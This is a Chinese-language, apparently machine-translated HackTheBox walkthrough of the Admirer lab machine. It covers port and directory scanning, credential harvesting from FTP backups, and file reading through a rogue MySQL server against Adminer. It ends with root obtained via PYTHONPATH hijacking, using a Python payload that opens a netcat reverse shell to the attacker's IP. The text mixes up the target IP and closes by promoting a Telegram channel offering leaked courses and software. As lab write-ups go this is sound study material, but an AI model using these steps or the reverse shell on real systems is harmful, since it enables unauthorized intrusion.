我将继续发布从HackTheBox网站发送到计算机最终定稿的解决方案。
在本文中,我们进行了大量扫描,在Admirer中利用RCE,并更改环境变量以运行我们的python代码。
与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。
组织信息
侦察
这台机器的IP地址为10.10.10.189,我将其添加到/ etc / hosts中。
10.10.10.187 admirer.htb
第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500
现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。
nmap -A admirer.htb -p80,22,21
从nmap扫描结果中,选择下一步。因此,服务器具有FTP和SSH服务,但它们需要凭据。还有一个带有robots.txt文件的Apache Web服务器。该文件中只有一个条目-admin-dir目录。由于没有提供更多信息,因此我们的下一步是扫描目录。为此,我们使用了快速弹射器。在参数中,我们指示我们要扫描目录(dir),指示站点(-u),单词列表(-w),我们感兴趣的扩展名(-x),线程数(-t)。
gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt
我们找到两个文件,第一个包含电子邮件地址,第二个包含各种凭证。
在凭据中,我们找到了FTP凭据。并且我们成功连接。
让我们看看服务器。
让我们下载所有文件。
有人怀疑此存档是站点的备份,让我们解压缩它并查看其中的内容。
mkdir HTML
mv html.tar.gz HTML/
cd HTML
tar -xf html.tar.gz
再次有一个robots.txt文件和某种秘密目录,其中包含所有相同的contact.txt和凭据.txt文件。
第一个文件与现有文件没有什么不同,但是在凭据中有我们没有的那些。
尝试使用它们后,我们一无所获。让我们寻找用户并在所有下载的文件中传递行。
grep -R -i "user\|pass" ./
而且我们为同一用户找到了另外两个密码。我已经收集了所有可用的凭证。
但是他们也没来。
入口点
如果您尝试执行网站上未解决的任务,我们将予以拒绝。
由于所有可执行文件都位于Utility-scripts目录中,因此让我们在主机上进行扫描,以查找php文件。
gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php
我们找到了文件admirer.php。
在寻找信息之后,从以下 来源可以清楚地了解如何获得RCE。如果将主机指定为服务器,则可以看到连接尝试。
让我们在本地主机上启动myqsl服务。
sudo service mysql start
sudo mysql -u root
我们将创建一个授权用户。
create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';
现在,让我们更改配置文件/etc/mysql/mariadb.conf.d/50-server.cnf,以便任何人都可以连接到我们的主机。为此,请注释掉绑定地址行并重新启动服务。
sudo service mysql restart
我们代表新创建的用户登录。
用户
让我们选择数据库。
接下来,让我们创建一个表。
然后,我们将执行一个SQL查询以读取index.php文件,在其中我们可以找到凭据(就像在备份中一样)。
load data local infile '../index.php'
into table admirerdb.admirertable
fields terminated by '\n'
现在,我们继续创建的表。
我们将找到凭据。
并使用此密码,我们通过SSH成功登录。
根
让我们检查sudo设置。
因此,我们可以以超级用户身份执行此脚本。查看此脚本时,我们发现python脚本的执行,该脚本也在sudo下执行。
并且在脚本本身中,指定了隐式导入。
让我们看看环境变量,我们对python路径感兴趣。
这样,我们可以创建一个具有相同名称,包含相同功能但执行不同操作的文件。然后更改此环境变量,我们将运行程序,这将导致文件执行。
def make_archive():
import os
os.system('nc 10.10.15.110 4321 -e "/bin/sh"')
make_archive()
让我们执行脚本。
sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh
我们得到了一个反向连接外壳。
我们对此机器拥有完全控制权。
您可以通过Telegram加入我们。在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们聚集一个社区,在这个社区中,将有很多IT领域的专家,然后我们可以在任何IT和信息安全问题上互相帮助。